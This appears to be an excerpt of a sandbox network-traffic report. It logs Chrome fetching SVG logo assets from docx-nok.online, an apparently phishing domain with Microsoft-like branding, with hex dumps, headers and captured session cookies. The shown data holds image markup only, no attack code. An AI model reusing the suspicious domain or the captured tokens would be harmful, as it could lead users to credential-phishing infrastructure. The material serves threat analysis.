2024-04-19 15:01:54 UTC	631	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 31 36 2c 33 2e 32 31 36 2c 30 2c 30 2c 30 2c Data Ascii: 918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.216,3.216,0,0,0,
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 2c 30 2d 31 2e 30 37 38 2d 2e 35 32 39 2c 33 Data Ascii: .029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0,0-1.078-.529,3
2024-04-19 15:01:54 UTC	289	IN	Data Raw: 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 Data Ascii: -2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width="10.931" height
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.18	49739	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	1173	OUT	GET /ASSETS/img/m_.svg HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	753	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 14:33:11 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1723 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AKohLDS%2FS4OYDq4H6%2FOT9evrK6oc%2FbF5J31JItN24R%2FMJD0UoNMpu62aSXJsladxwN2Fqh194B18o%2FxWvTQ2LZBa4JLFnOYZXJFMCcUvrYVMSNP2wyWE80XFIucfpLBdOxc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6feb77b92-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	616	IN	Data Raw: 65 34 33 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e Data Ascii: e43<svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 2c 34 2e 37 30 37 2c 30 2c 30 2c 31 2d 34 2e 39 31 38 2d 34 2e 39 30 38 2c 35 2e 36 34 31 2c 35 2e 36 34 31 2c 30 2c 30 2c 31 2c 31 2e 34 2d 33 2e 39 33 32 2c 35 2e 30 35 35 2c 35 2e 30 35 35 2c 30 2c 30 2c 31 2c 33 2e 39 35 35 2d 31 2e 35 34 35 2c 35 2e 34 31 34 2c 35 2e 34 31 34 2c 30 2c 30 2c 31 2c 31 2e 33 32 34 2e 31 36 38 2c 34 2e 34 33 31 2c 34 2e 34 33 31 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2e 33 39 76 32 2e 32 33 33 61 34 2e 37 36 33 2c 34 2e 37 36 33 2c 30 2c 30 2c 30 2d 31 2e 31 2d 2e 36 31 31 2c 33 2e 31 38 34 2c 33 2e 31 38 34 2c 30 2c 30 2c 30 2d 31 2e 31 35 2d 2e 32 31 37 2c 32 2e 39 31 39 2c 32 2e 39 31 39 2c 30 2c 30 2c 30 2d 32 2e 32 32 33 2e 39 2c 33 2e 33 37 2c 33 2e 33 37 2c 30 2c 30 2c 30 2d 2e 38 34 37 2c 32 2e 34 31 36 2c 33 2e 32 Data Ascii: ,4.707,0,0,1-4.918-4.908,5.641,5.641,0,0,1,1.4-3.932,5.055,5.055,0,0,1,3.955-1.545,5.414,5.414,0,0,1,1.324.168,4.431,4.431,0,0,1,1.063.39v2.233a4.763,4.763,0,0,0-1.1-.611,3.184,3.184,0,0,0-1.15-.217,2.919,2.919,0,0,0-2.223.9,3.37,3.37,0,0,0-.847,2.416,3.2
2024-04-19 15:01:54 UTC	1369	IN	Data Raw: 37 35 2d 2e 37 34 31 2c 31 2e 30 32 39 2c 31 2e 30 32 39 2c 30 2c 30 2c 30 2d 2e 33 39 2d 2e 38 31 33 2c 35 2e 37 36 38 2c 35 2e 37 36 38 2c 30 2c 30 2c 30 2d 31 2e 34 37 37 2d 2e 37 36 35 2c 34 2e 35 36 34 2c 34 2e 35 36 34 2c 30 2c 30 2c 31 2d 31 2e 38 32 39 2d 31 2e 32 31 33 2c 32 2e 36 35 35 2c 32 2e 36 35 35 2c 30 2c 30 2c 31 2d 2e 35 33 39 2d 31 2e 37 31 33 2c 32 2e 37 30 36 2c 32 2e 37 30 36 2c 30 2c 30 2c 31 2c 31 2e 30 36 33 2d 32 2e 32 41 34 2e 32 34 33 2c 34 2e 32 34 33 2c 30 2c 30 2c 31 2c 38 31 2e 35 2c 38 2e 32 35 36 61 36 2e 36 36 33 2c 36 2e 36 36 33 2c 30 2c 30 2c 31 2c 31 2e 31 36 34 2e 31 31 35 2c 35 2e 31 36 31 2c 35 2e 31 36 31 2c 30 2c 30 2c 31 2c 31 2e 30 37 38 2e 33 76 32 2e 32 31 34 61 34 2e 39 37 34 2c 34 2e 39 37 34 2c 30 2c 30 Data Ascii: 75-.741,1.029,1.029,0,0,0-.39-.813,5.768,5.768,0,0,0-1.477-.765,4.564,4.564,0,0,1-1.829-1.213,2.655,2.655,0,0,1-.539-1.713,2.706,2.706,0,0,1,1.063-2.2A4.243,4.243,0,0,1,81.5,8.256a6.663,6.663,0,0,1,1.164.115,5.161,5.161,0,0,1,1.078.3v2.214a4.974,4.974,0,0
2024-04-19 15:01:54 UTC	304	IN	Data Raw: 2e 33 34 31 2c 30 2c 30 2c 31 2d 2e 37 33 36 2d 32 2e 33 36 33 5a 22 20 66 69 6c 6c 3d 22 23 37 33 37 33 37 33 22 2f 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 66 32 35 30 32 32 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 37 66 62 61 30 30 22 2f 3e 3c 72 65 63 74 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d 22 31 30 2e 39 33 31 22 20 68 65 69 67 68 74 3d 22 31 30 2e 39 33 31 22 20 66 69 6c 6c 3d 22 23 30 30 61 34 65 66 22 2f 3e 3c 72 65 63 74 20 78 3d 22 31 32 2e 30 36 39 22 20 79 3d 22 31 32 2e 30 36 39 22 20 77 69 64 74 68 3d Data Ascii: .341,0,0,1-.736-2.363Z" fill="#737373"/><rect width="10.931" height="10.931" fill="#f25022"/><rect x="12.069" width="10.931" height="10.931" fill="#7fba00"/><rect y="12.069" width="10.931" height="10.931" fill="#00a4ef"/><rect x="12.069" y="12.069" width=
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.18	49736	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	1177	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 14:33:11 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1723 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XSoOHSrd7cpjfwixkBa6%2FDKaJlG1sFqvM5ie%2FFlgKDaJtZBtCBg265hkOZSq9Wz20XSJkcDj8KLMCZEUsWF7Z6mLZjrHSi8OfVyWrbUaQGw5XvDRmk9qpSaBI8UGKOuSdaA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6f8026755-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	622	IN	Data Raw: 36 33 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 64 65 66 73 3e 3c 73 74 79 6c 65 3e 2e 61 7b 66 69 6c 6c 3a 6e 6f 6e 65 3b 7d 2e 62 7b 66 69 6c 6c 3a 23 34 30 34 30 34 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 64 65 66 73 3e 3c 72 65 63 74 20 63 6c 61 73 73 3d 22 61 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 2f 3e 3c 70 61 74 68 20 63 6c 61 73 73 3d 22 62 22 20 64 3d 22 4d 34 30 2c 33 32 2e 35 37 38 56 34 30 48 33 32 56 33 36 48 32 38 56 33 32 48 32 34 56 32 38 2e 37 36 36 41 31 30 2e 36 38 39 2c 31 30 2e 36 38 39 Data Ascii: 638<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><defs><style>.a{fill:none;}.b{fill:#404040;}</style></defs><rect class="a" width="48" height="48"/><path class="b" d="M40,32.578V40H32V36H28V32H24V28.766A10.689,10.689
2024-04-19 15:01:54 UTC	977	IN	Data Raw: 33 2c 30 2c 30 2c 31 2c 32 38 2e 35 2c 31 33 2e 34 35 33 61 31 30 2e 34 2c 31 30 2e 34 2c 30 2c 30 2c 31 2c 31 2e 31 30 39 2c 32 2e 36 32 35 41 31 31 2e 36 31 36 2c 31 31 2e 36 31 36 2c 30 2c 30 2c 31 2c 33 30 2c 31 39 61 31 30 2e 30 31 35 2c 31 30 2e 30 31 35 2c 30 2c 30 2c 31 2d 2e 31 32 35 2c 31 2e 35 37 38 2c 31 30 2e 38 37 39 2c 31 30 2e 38 37 39 2c 30 2c 30 2c 31 2d 2e 33 35 39 2c 31 2e 35 33 31 5a 6d 2d 32 2c 2e 38 34 34 4c 32 37 2e 32 31 39 2c 32 32 2e 36 34 31 61 31 34 2e 37 31 36 2c 31 34 2e 37 31 36 2c 30 2c 30 2c 30 2c 2e 35 36 32 2d 31 2e 37 38 32 41 37 2e 37 35 31 2c 37 2e 37 35 31 2c 30 2c 30 2c 30 2c 32 38 2c 31 39 61 38 2e 37 38 36 2c 38 2e 37 38 36 2c 30 2c 30 2c 30 2d 2e 37 2d 33 2e 35 2c 38 2e 39 2c 38 2e 39 2c 30 2c 30 2c 30 2d 31 2e Data Ascii: 3,0,0,1,28.5,13.453a10.4,10.4,0,0,1,1.109,2.625A11.616,11.616,0,0,1,30,19a10.015,10.015,0,0,1-.125,1.578,10.879,10.879,0,0,1-.359,1.531Zm-2,.844L27.219,22.641a14.716,14.716,0,0,0,.562-1.782A7.751,7.751,0,0,0,28,19a8.786,8.786,0,0,0-.7-3.5,8.9,8.9,0,0,0-1.
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.18	49738	172.67.179.148	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	1203	OUT	GET /x/0a6095cf83124146bdbff28bf2470f1566228761d30a7 HTTP/1.1 Host: docx-nok.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.149" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.149", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.149" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://docx-nok.online/d740c10c7b9cf800d441f265844201e16622875f9f709LOGd740c10c7b9cf800d441f265844201e16622875f9f70a Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	746	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 15:01:54 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=D%2BwBm9Qz%2Fez%2FEGJCQEymKg73RwULkYnhPPRUOA96AIHBRHZfO%2FMnpjxMlppZbk19lsAAb%2BxHCt8uK14SOUbKbWmbPfaxJcrXjSChzFCgCqpvcMkI2b4SCoYV93mOvGCXqrY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5c6f876455a-ATL alt-svc: h3=":443"; ma=86400
2024-04-19 15:01:54 UTC	623	IN	Data Raw: 37 34 38 0d 0a 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 39 32 30 22 20 68 65 69 67 68 74 3d 22 31 30 38 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 3e 3c 67 20 6f 70 61 63 69 74 79 3d 22 2e 32 22 20 63 6c 69 70 2d 70 61 74 68 3d 22 75 72 6c 28 23 45 29 22 3e 3c 70 61 74 68 20 64 3d 22 4d 31 34 36 36 2e 34 20 31 37 39 35 2e 32 63 39 35 30 2e 33 37 20 30 20 31 37 32 30 2e 38 2d 36 32 37 2e 35 32 20 31 37 32 30 2e 38 2d 31 34 30 31 2e 36 53 32 34 31 36 2e 37 37 2d 31 30 30 38 20 31 34 36 36 2e 34 2d 31 30 30 38 2d 32 35 34 2e 34 2d 33 38 30 2e 34 38 32 2d 32 35 34 2e 34 20 33 39 33 2e 36 73 37 37 30 2e 34 32 38 20 31 34 30 31 2e 36 20 31 37 32 30 2e 38 20 31 Data Ascii: 748<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1
2024-04-19 15:01:54 UTC	1248	IN	Data Raw: 34 39 2e 38 2d 34 35 35 2e 35 39 35 20 31 32 34 39 2e 38 2d 31 30 31 37 2e 36 53 39 35 36 2e 30 34 36 2d 38 31 39 2e 36 20 32 36 35 2e 38 2d 38 31 39 2e 36 2d 39 38 34 2d 33 36 34 2e 30 30 35 2d 39 38 34 20 31 39 38 2d 34 32 34 2e 34 34 35 20 31 32 31 35 2e 36 20 32 36 35 2e 38 20 31 32 31 35 2e 36 7a 22 20 66 69 6c 6c 3d 22 75 72 6c 28 23 44 29 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 72 61 64 69 61 6c 47 72 61 64 69 65 6e 74 20 69 64 3d 22 41 22 20 63 78 3d 22 30 22 20 63 79 3d 22 30 22 20 72 3d 22 31 22 20 67 72 61 64 69 65 6e 74 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 67 72 61 64 69 65 6e 74 54 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 34 36 36 2e 34 20 33 39 33 2e 36 29 20 72 6f 74 61 74 65 28 39 30 Data Ascii: 49.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90
2024-04-19 15:01:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.18	49741	104.21.35.209	443	5960	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-19 15:01:54 UTC	576	OUT	GET /ASSETS/img/sig-op.svg HTTP/1.1 Host: docx-nok.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cf_clearance=Wrb8b9hUuaTrW4yTaY1qm7wgD6rYObBPb9off_hHPhU-1713538901-1.0.1.1-mcOLeJKXeF6sKt7XKo1vnxq7ubbEoyAsO1ZzOaB7K.UBYVEwlnB5wT6ilXI9y56.ucqluE5SaOv9utw8fRgZ1A; PHPSESSID=3caf9fba09da43ac153673133b588c21
2024-04-19 15:01:54 UTC	747	IN	HTTP/1.1 200 OK Date: Fri, 19 Apr 2024 15:01:54 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close cache-control: public, max-age=604800 expires: Fri, 26 Apr 2024 14:33:11 GMT last-modified: Fri, 19 Apr 2024 14:16:40 GMT vary: Accept-Encoding x-turbo-charged-by: LiteSpeed CF-Cache-Status: HIT Age: 1723 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P26WOhXHFmCzBsT%2FDviuPV%2Fu116VfOEHCgJjDRyLS97yd3TVfJXN7CCVEpisG8nVKQ0aMJQwP4aZBdCiWMTd7j5G6LPA2ia3XtgLaqiLYHQPwBxMNEr1olRHNrouaVHY6GY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 876dc5ca08647bcf-ATL alt-svc: h3=":443"; ma=86400
